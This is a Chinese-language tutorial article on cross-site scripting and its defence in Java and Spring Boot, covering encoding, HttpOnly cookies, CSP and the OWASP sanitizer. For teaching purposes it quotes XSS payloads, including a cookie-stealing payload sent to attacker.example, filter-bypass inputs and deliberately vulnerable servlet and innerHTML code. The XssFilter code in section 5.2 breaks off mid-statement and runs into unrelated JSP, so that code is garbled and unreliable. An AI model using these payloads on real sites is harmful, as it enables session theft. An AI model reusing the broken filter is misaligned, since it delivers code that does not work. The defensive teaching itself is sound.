☰
Java开发者必读:XSS跨站脚本攻击原理与纵深防御实战
2026/10/20 5:59:37 网站建设 项目流程

1. 从一个让人后背发凉的线上事故说起

大概两年前,我在某公司做Java后端负责人,上线了一个面向内部商户的运营后台,功能很简单:商户可以提交一段报名说明文字,后台审核通过后展示在活动详情页。上线测试的时候一切正常,大家也没在意这段说明的富文本校验,结果上线第二天,运营同事的账号就开始疯狂给用户发优惠券,后台日志里出现了一堆POST请求,全部指向一个从来没见过的外部接口。排查到最后,原因出在活动详情页的报名说明——有人提交了一串看不出异常的HTML片段,里面夹了一个script标签,把运营后台当前登录用户的Cookie发到了攻击者搭建的服务器上。

这就是典型跨站脚本攻击(XSS,Cross-Site Scripting)。说起来它不算新技术,漏洞原理也很简单,但直到今天,它仍然长期占据OWASP Top 10榜单。很多人觉得XSS只是前端问题、只是弹个窗而已,但真被攻击者利用起来,轻则盗取用户会话、重则配合CSRF和越权接口实现账户完全接管。作为Java开发者,尤其是后端开发,如果你觉得XSS跟你没关系,那只是还没踩到坑。

这篇文章会用我在Java Web项目中的真实经历,把XSS从原理、分类到防御方案、实战代码全都讲透。我会从攻击者视角给你演示典型的构建过程,再回到开发者视角一步步加固,适合所有用Java做Web开发的工程师阅读,哪怕你之前没接触过安全方向,也能看完就上手。

2. XSS到底是怎么发生的:原理、攻击链路与三种形态

2.1 本质一句话:把不可信数据当成可执行代码

XSS的核心原因是浏览器在渲染HTML文档时,会把<script>、事件属性、CSS表达式等结构当作可执行代码解析,而开发者如果在拼接回应给客户端的页面时,没有对用户可控的数据做区分——也就是没有把“数据”和“代码”隔离开,攻击者就能注入自己的代码,让它在别人的浏览器里运行。

举个最直观的例子。服务端把用户名拼进页面:

String name = request.getParameter("name"); out.println("<div>欢迎回来," + name + "</div>");

攻击者提交的name是<script>alert(document.cookie)</script>,浏览器解析后就会执行这段脚本。这里的问题不是单引号转义没做好,而是后端把用户输入直接放进了HTML文档流,没有做任何编码处理。只要最终响应里有一处这样的拼接,攻击者就有机会插入脚本。

2.2 攻击链路四步走

一次完整的XSS攻击不见得需要很复杂的载荷,但攻击路径很清晰:

  1. 攻击者构造恶意URL或提交带恶意脚本的表单数据,传给目标站点。
  2. 目标站点的服务端没有过滤或编码,直接把恶意数据拼接并返回到页面中,或者存储到数据库后在后续页面中渲染出来。
  3. 受害用户浏览器解析页面时,恶意脚本在页面的上下文里执行。
  4. 脚本执行后,可以做任何页面权限范围内的事:读取Cookie、篡改页面内容、劫持表单提交、发起请求、键盘记录等,再把数据传回攻击者服务器。

前两步是开发者的责任,后两步是浏览器和用户承担结果。所以防御XSS的关键窗口在服务端处理用户数据的那一刻。

2.3 三种形态:反射型、存储型、DOM型

XSS按触发方式不同,可以分成三类,很多初级开发者只听说过前两种,DOM型最容易被漏掉。

类型触发流程典型场景检测难度
反射型恶意脚本在URL参数里,服务端未编码直接回显,用户点击链接触发搜索结果页、报错信息、登录失败提示较低
存储型恶意脚本存入数据库,其他用户访问时被渲染执行评论区、留言板、个人简介、富文本编辑器高
DOM型服务端完全无辜,前端JavaScript读取URL或接口数据直接操作DOM时注入单页应用、地址栏hash参数、document.write、innerHTML高

存储型的危害在三种中最严重,因为它是“一次注入、持续生效”,不需要骗用户点击某个特定链接——用户只需要正常访问页面就会中招。反射型则需要诱导用户点击恶意链接,看起来危害低一些,但如果攻击者把链接藏在短网址里,或者配合邮件钓鱼,点击率依然可观。DOM型则最隐蔽,服务端日志里甚至看不出任何异常,因为攻击载荷可能从未经过服务端。

我在实际项目里遇到过很多有趣的漏网案例,比如搜索页面:

<input type="text" value="<%= request.getParameter("keyword") %>">

开发者用escapeHtml转义了<>,但忘了处理双引号,攻击者提交" autofocus onfocus="alert(1),照样能触发。这就是经典的“转义了但不彻底”问题,后面实战部分我会专门展开。

3. 为什么XSS这么难缠:Java开发者最常踩的坑

3.1 只做前端校验,后端完全裸奔

很多前后端分离的团队有个陈旧观念:“我们的表单页面做了正则校验,用户传上来的都是安全数据。”这句话看起来没问题,但隐藏了两个致命前提。

第一个前提:校验逻辑可以绕过。前端校验只是体验优化,攻击者用Postman、curl或者直接curl加--data提交请求,完全可以跳过页面直接请求后端接口,前端限制形同虚设。第二个前提:攻击者不一定走你的页面。很多XSS载荷是通过接口批量提交的,比如我见过某公司导入Excel文件的功能,Excel里存了恶意脚本,导入后页面就中招了。前端校验管不到非页面提交的渠道。

所以后端必须默认“所有输入都不可信”,这个思路是所有安全设计的起点。

3.2 只做输入过滤,不做输出编码

还有一个更高频的错误认知:“我写了个全局过滤器,把<script>标签、onerror属性、javascript:协议都替换掉了,是不是就安全了?”这种做法问题很大。

输入过滤的天然短板在于,你无法预测所有可能的攻击变体。攻击者可以用HTML实体编码来绕过关键词匹配,比如:

<img src=x onerror="&#97;lert(1)">

也可以把<script>写成<scr<script>ipt>,利用过滤器的递归替换漏洞形成“双写绕过”。就算你写了非常宽泛的过滤规则,也可能把合法用户的正常内容误杀,比如<用在数学表达式、on出现在英文单词onClick的普通描述里。

更合理的做法是:输出编码。输入过滤可以作为第一道粗筛,但真正防止XSS的,是在输出端根据渲染上下文决定如何编码。简单说:过滤解决“能不能进来”,编码解决“进来了也没用”。

3.3 把XSS当“小问题”,忽视账号接管链路

我经常在安全评审时听到一句话:“XSS最多就是弹个框,没什么大不了。”这种想法相当危险。

XSS的破坏力从来不是靠“弹窗”体现的,而是靠它和业务接口的配合。举例:攻击者通过XSS注入脚本,脚本读取用户Cookie中的会话ID发送到外部服务器,攻击者拿着这个会话ID就可以冒充用户登录。如果这个用户是管理员,攻击者相当于拿到了后台的全部权限。再配合CSRF,攻击者甚至不需要读取Cookie,直接在页面上构造表单请求,诱导用户点击提交,就能完成改密码、转账等敏感操作。

所以XSS在OWASP Top 10里常年排名靠前,不是因为它直接打穿服务器,而是因为它像一个幕后推手,帮攻击者撬开整个应用的大门。

3.4 前后端分离模式下,XSS防御职责容易被甩锅

现在的Java项目很多是后端出JSON接口、前端用Vue或React渲染。这种架构下,后端的输出编码防护基本失效,因为JSON不会直接进入HTML上下文。于是出现了一个真空地带:后端说“XSS是前端渲染问题”,前端说“数据是从后端的接口来的”。

实际上,前后端都有责任。后端需要保证JSON接口返回给业务的数据是干净的,尤其是存储型XSS,从源头上要防止恶意载荷进入数据库;前端需要保证v-html、dangerouslySetInnerHTML等危险API不被滥用,对插入DOM的内容做转义。但考虑到后端往往是数据唯一的入口,我还是建议后端承担更多兜底责任,至少在接入层的过滤和校验上做实,不要指望前端自觉。

4. Java生态下的XSS纵深防御体系

4.1 第一道防线:输出编码,按上下文分而治之

XSS防御的第一原则是“上下文敏感编码”。同样是用户输入,放的位置不同,编码规则就不同:

  • 放在HTML标签内容里,比如<div>用户输入</div>,需要对< > &做实体编码。
  • 放在HTML属性值里,比如<input value="用户输入">,需要额外处理双引号。
  • 放在<script>内部,需要做JavaScript字符串编码,这里HTML实体编码是完全无效的。
  • 放在URL里,比如<a href="用户输入">,需要做URL编码,并校验协议是否为白名单。
  • 放在CSS样式里,比如<div style="用户输入">,要防止expression()等危险语法。

Java生态里最成熟的编码工具是OWASP Java Encoder项目,它提供了四种上下文编码方法:

import org.owasp.encoder.Encode; // HTML文本上下文 String safeHtml = Encode.forHtml(userInput); // HTML属性上下文 String safeAttr = Encode.forHtmlAttribute(userInput); // JavaScript上下文 String safeJs = Encode.forJavaScript(userInput); // URL上下文 String safeUrl = Encode.forUriComponent(userInput);

这套API非常简单,没有复杂的配置,就是纯静态方法调用。我自己的习惯是:在后端构造页面模板时,凡是涉及用户数据的位置,一律套上对应上下文编码,哪怕这个字段业务上看起来“一定安全”。审查成本最低的方式就是“看到一个数据拼进HTML,就要求旁边必须有编码”。

不过要注意,Java Encoder只解决了“编码”环节,它不负责校验协议。如果你把javascript:alert(1)传给forUriComponent,编码后变成javascript%3Aalert%281%29,虽然不再是可执行的JavaScript协议,但最好还是提前做协议白名单校验,比如只允许http和https开头。

4.2 第二道防线:HttpOnly Cookie与会话保护

HttpOnly是一个Cookie属性。设置之后,浏览器禁止JavaScript读取该Cookie值。攻击者即使注入XSS脚本,尝试使用document.cookie窃取会话Cookie时也只能得到一个空字符串,这能有效阻断最常见的会话劫持链路。

在Java后端设置HttpOnly非常方便:

// Servlet 3.0+ 方式 response.setHeader("Set-Cookie", "JSESSIONID=" + sessionId + "; Path=/; HttpOnly; Secure; SameSite=Strict");

如果是Spring Boot项目,可以在配置文件中统一设置:

server.servlet.session.cookie.http-only=true server.servlet.session.cookie.secure=true server.servlet.session.cookie.same-site=strict

这里特别提醒:HttpOnly不是万能的——它只能防“直接读取Cookie”,防不了脚本通过页面中的表单发起带Cookie的请求。也就是说,攻击者依然可以利用用户的登录态调用业务接口。所以HttpOnly应该作为纵深防御的一层,不能替代输出编码。但这一层几乎零成本,建议所有Java Web项目默认开启。

Secure属性要求Cookie只在HTTPS连接中传输,防止在HTTP明文传输中被中间人截获;SameSite=Strict则限制跨站请求携带Cookie,对CSRF攻击也有抑制效果。这三个属性配合使用,会话安全性会提升一个档次。

4.3 第三道防线:CSP内容安全策略

CSP(Content Security Policy)是一个响应头,让浏览器只执行你允许来源的脚本。它是XSS防御里非常有力的兜底机制,即使攻击者的脚本成功被注入到了页面,只要脚本来源不在白名单内,浏览器也不会执行它。

一个典型的CSP策略如下:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;

这个策略的意思是:所有资源默认只允许加载同源,脚本只允许加载本站的以及带指定nonce值的标签;样式允许本站和内联样式,图片允许本站和data协议。

在Spring Boot中,可以通过拦截器或过滤器统一的在响应头中添加CSP:

@Component public class SecurityHeaderFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletResponse res = (HttpServletResponse) response; res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"); chain.doFilter(request, response); } }

CSP刚上线时最容易踩的坑是:页面上有内联脚本或外部CDN的JS库,CSP一开全部被拦截,功能瞬间“白屏”。解决方案是用nonce或hash放行合法脚本,或者把内联脚本挪到独立的静态JS文件中。我在项目里踩过:一个老管理后台用了大量<script>内联逻辑,强制添加严格CSP后,第二天一早电话被打爆。所以CSP上线建议先在Content-Security-Policy-Report-Only模式观察几天,只上报不拦截,等告警清单收敛后再切换成强制执行模式。

4.4 第四道防线:输入校验与富文本白名单

输出编码解决“即使有恶意内容也变成了普通文本”,输入校验则解决“恶意内容尽量根本不要进来”。对不同类型的字段,校验策略不同。

普通文本字段(用户名、地址、留言内容):推荐用白名单正则,只允许中英文、数字和常见标点。邮件字段用严格格式校验。数字字段直接转成Long或Integer再处理,从类型上消灭注入可能。

富文本字段(HTML编辑器内容)的处理是XSS防御中比较麻烦的环节,因为你需要允许用户写一些HTML,比如加粗、列表、链接,但要禁止script、iframe、事件属性、javascript:协议等危险结构。这种情况下不要自己写解析器,直接用OWASP Java HTML Sanitizer:

import org.owasp.html.Sanitizers; import org.owasp.html.PolicyFactory; PolicyFactory policy = Sanitizers.FORMATTING .and(Sanitizers.LINKS) .and(Sanitizers.TABLES); String safeHtml = policy.sanitize(userInput);

Sanitizers.FORMATTING允许加粗、斜体等,Sanitizers.LINKS允许<a>标签但会自动加上rel="nofollow",Sanitizers.TABLES允许表格。这个库底层用的是基于HTML语法解析的白名单过滤,比自己写正则靠谱得多——它不会出现“用正则治HTML”这种永远在被绕过的绝望循环。

5. 实战:从裸奔留言板到加固后的Spring Boot全流程

5.1 复现一个可攻击的留言板场景

先搭一个最简单的Spring Boot接口,模拟一个没有防御的用户留言功能。这里省略了数据库,用内存Map代替,聚焦在XSS链路上。

@RestController public class MessageController { private final List<Message> messages = new ArrayList<>(); @PostMapping("/message") public Message addMessage(@RequestParam String content) { Message msg = new Message(content); messages.add(msg); return msg; } @GetMapping("/message/list") public List<Message> listMessages() { return messages; } }

对应的前端页面(静态HTML)里有一段渲染逻辑,直接把后端返回的消息内容插入DOM。

fetch('/message/list') .then(res => res.json()) .then(data => { data.forEach(item => { let div = document.createElement('div'); div.innerHTML = item.content; // 危险操作 document.body.appendChild(div); }); });

此刻如果POST一个<img src=x onerror="fetch('//attacker.example/steal?c='+document.cookie)">,页面会立刻发起请求把Cookie泄露出去。实际上不用这么麻烦,我测试时经常用<script>alert(document.domain)</script>先验证是否可执行。

这个“里应外合”的组合,就是XSS在前后端分离架构下的攻击路径:后端存储,前端渲染执行。

5.2 改造一:后端接入层统一过滤与校验

首先加一个全局过滤器,对所有请求参数做“粗过滤”。粗过滤的目的不是替代编码,而是把明显的恶意结构挡在外面,减少存储型XSS的入库可能。

@Component public class XssFilter implements Filter { private static final Pattern SCRIPT_PATTERN = Pattern.compile( "<script.*?>.*?</script>", Pattern.CASE_INSENSITIVE | Pattern.DOTALL); @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssRequestWrapper wrapped = new XssRequestWrapper((HttpServletRequest) request); chain.doFilter(wrapped, response); } static class XssRequestWrapper extends HttpServletRequestWrapper { XssRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return clean(value); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) return null; String[] cleaned = new String[values.length]; for (int i = 0; i < values.length; i++) { cleaned[i] = clean(values[i]); } return cleaned; } private String clean(String value) { if (value == null) return null; String temp = SCRIPT_PATTERN.matcher(value).replaceAll(""); // 再对事件处理属性做基础清理 temp = temp.replaceAll("(?i)\\son\\w+\\s*=", "><div>留言内容:<c:out value="${message.content}" /></div>

如果你用的是AmazeUI这类前端模板,且必须动态插入HTML字符串,那么插入前得先调用编码函数,或者干脆改造组件逻辑,用textContent代替innerHTML赋值。

5.4 改造三:CSP与HttpOnly全量开启

还是那句话,纵深防御不能只靠一层。在上面的Spring Boot项目中,我又加了前面写的SecurityHeaderFilter,把CSP头加到所有响应里。同时对Session Cookie做了HttpOnly和SameSite配置。

这里分享一个我常用的验证命令,确保头确实生效:

curl -I http://localhost:8080/message/list

观察响应头里是否包含:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none' Set-Cookie: JSESSIONID=...; Path=/; HttpOnly; SameSite=Strict

如果看不到,检查是不是有网关层或代理层覆盖了你设置的Header。

5.5 改造四:富文本场景的安全写法

留言板如果允许用户使用富文本编辑器(比如UEditor、WangEditor、TinyMCE),处理思路要变。富文本编辑器提交的本身就是HTML,你无法简单转义,否则用户写的粗体、列表全都会显示成源码。

这种场景的防线是:入库前用OWASP Java HTML Sanitizer白名单过滤,去掉一切不在白名单里的标签和属性。

PolicyFactory policy = Sanitizers.FORMATTING .and(Sanitizers.LINKS) .and(Sanitizers.IMAGES) .and(Sanitizers.TABLES) .and(Sanitizers.BLOCKS); String sanitized = policy.sanitize(editorContent);

过滤后的HTML可以安全入库,前端也可以放心用v-html或innerHTML渲染——前提是白名单足够窄。这里有一个必须提醒的点:绝对不要把<iframe>加进白名单,很多第三方富文本编辑器预置了插入视频的iframe能力,一旦放开,攻击者就可以嵌入任意第三方页面,形成钓鱼和诱骗场景。

6. 常见问题与排查实录

6.1 为什么我做了转义,XSS还是能打?

这个话题几乎每个安全评审都会遇到。最典型的原因是没有按上下文编码。我在审查代码时发现过三种高频错误。

第一种:只转义< >,不处理引号。这种代码出现在HTML属性值里就能被绕过,攻击者构造" autofocus onfocus="alert(1),双引号逃逸出属性值,后面的onfocus事件照样执行。

第二种:所有上下文统一用HTML实体编码,但内容要插入<script>标签内部。HTML实体编码在JavaScript字符串中会被解析成相应字符,但在部分解析场景下依然可以构造可执行结构,比如:

var name = "&#x27;&#x3B;alert(1)&#x2F;&#x2F;";

这里面的分号会把字符串截断,形成语句注入。所以:JavaScript上下文必须调用Encode.forJavaScript,不能用forHtml糊弄。

第三种:后端做了编码,前端却用v-html渲染。前后端分离项目中,后端返回的是JSON字符串,没有经过HTML编码的前端必须自己负责转义。有的团队后端编码函数没有用(或者根本不适用),前端又在模板里用了dangerouslySetInnerHTML,双重失效。

排查建议:对着OWASP的XSS Prevention Cheat Sheet,把代码里所有用户数据进入HTML的地方列成清单,按上下文逐一核对编码方式。清单化排查虽然笨,但不会漏。

6.2 加了CSP之后页面全白了,怎么处理?

CSP误伤的典型症状是:控制台报错Refused to load the script ... because it violates the following Content Security Policy directive,页面功能全丢。

处理分三步。

第一步:如果是内联脚本被拦截,用nonce放行。后端在生成页面时给每个合法脚本算一个随机nonce值,并把它加进CSP:

<script nonce="a1b2c3d4"> // 合法内联逻辑 </script>

响应头里同步声明:

Content-Security-Policy: script-src 'self' 'nonce-a1b2c3d4'

第二步:如果是外部CDN脚本被拦截,把CDN域名加进script-src白名单:

Content-Security-Policy: script-src 'self' https://cdn.example.com

这种做法会引入对第三方域的信任,尽量只信任可信且维护良好的CDN,同时开启integrity属性的SRI机制防止第三方脚本被篡改。

第三步:在正式上线前用Content-Security-Policy-Report-Only模式跑几天,通过report-uri收集所有可能的违规,确认没有关键告警后再切强制模式。

6.3 富文本过滤之后,用户拿到一堆乱码/样式丢了怎么办?

Rich Text内容经过白名单过滤后,确实可能出现格式丢失,这是安全性对体验的必然牺牲。处理办法是提前和产品对齐富文本能力边界:加粗、斜体、下划线、无序列表、表格、图片(限定同源或指定域名)、链接。用户如果插入表格以外的复杂布局(比如自定义嵌入了CSS样式类的元素),过滤后大概率会丢失视觉效果,这是预期行为,需要在产品文档中明确说明。

我在某个项目中遇到过需求方要求保留用户粘贴的Excel表格样式,听取安全团队的建议后改成了“表格结构保留、样式类不保留”,用CSS统一样式。这个方案既满足需求,也不至于让过滤规则复杂到无法维护。

6.4 常见的XSS排查速查表

症状可能原因排查方向
弹窗/脚本执行输出未编码检查数据到DOM的每个出口
部分用户页面错乱转义破坏了原有HTML结构检查是否用错误上下文编码
Cookie被窃取HttpOnly未开启检查Set-Cookie属性
富文本执行脚本白名单过宽检查sanitize策略
CSP拦截合法脚本策略过严使用Report-Only逐步放行
DOM型XSS前端危险API滥用搜索innerHTML、document.write、eval、v-html

7. 我的几点实操体会

文章写到这里,理论、代码、排错都覆盖了。最后分享几个这些年在项目里总结出来的经验。

第一点:XSS防御不是一次性工作,而是每次发版都要过的检查关。我在团队里推行过一个简单动作:每次上线前,用当前环境跑一遍自动扫描工具,配合手动用例测试关键输出点。扫描工具能发现已知问题,手动测试则能覆盖业务自定义的渲染逻辑。

第二点:全局过滤器能解燃眉之急,但解决不了全部问题。我见过有团队把希望完全寄托在“一个过滤器搞定所有XSS”上,结果过滤器只处理了getParameter,没处理getInputStream,JSON接口全军覆没。给团队做安全培训时,我总强调“编码要跟着上下文走”这个原则,比背十段过滤器代码有用得多。

第三点:安全建设要跟业务形态匹配。如果业务是低风险的展示型站点,输出编码加HttpOnly基本够用;如果涉及支付、账号体系、后台管理,CSP和严格输入校验必须上,富文本场景还要单独走评审流程。

希望这份从实战中沉淀下来的经验,能让你少走一些我当年走过的弯路。下次有人再说“XSS就是弹个窗”的时候,你可以把这个话题聊得比他们想象的深一点。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询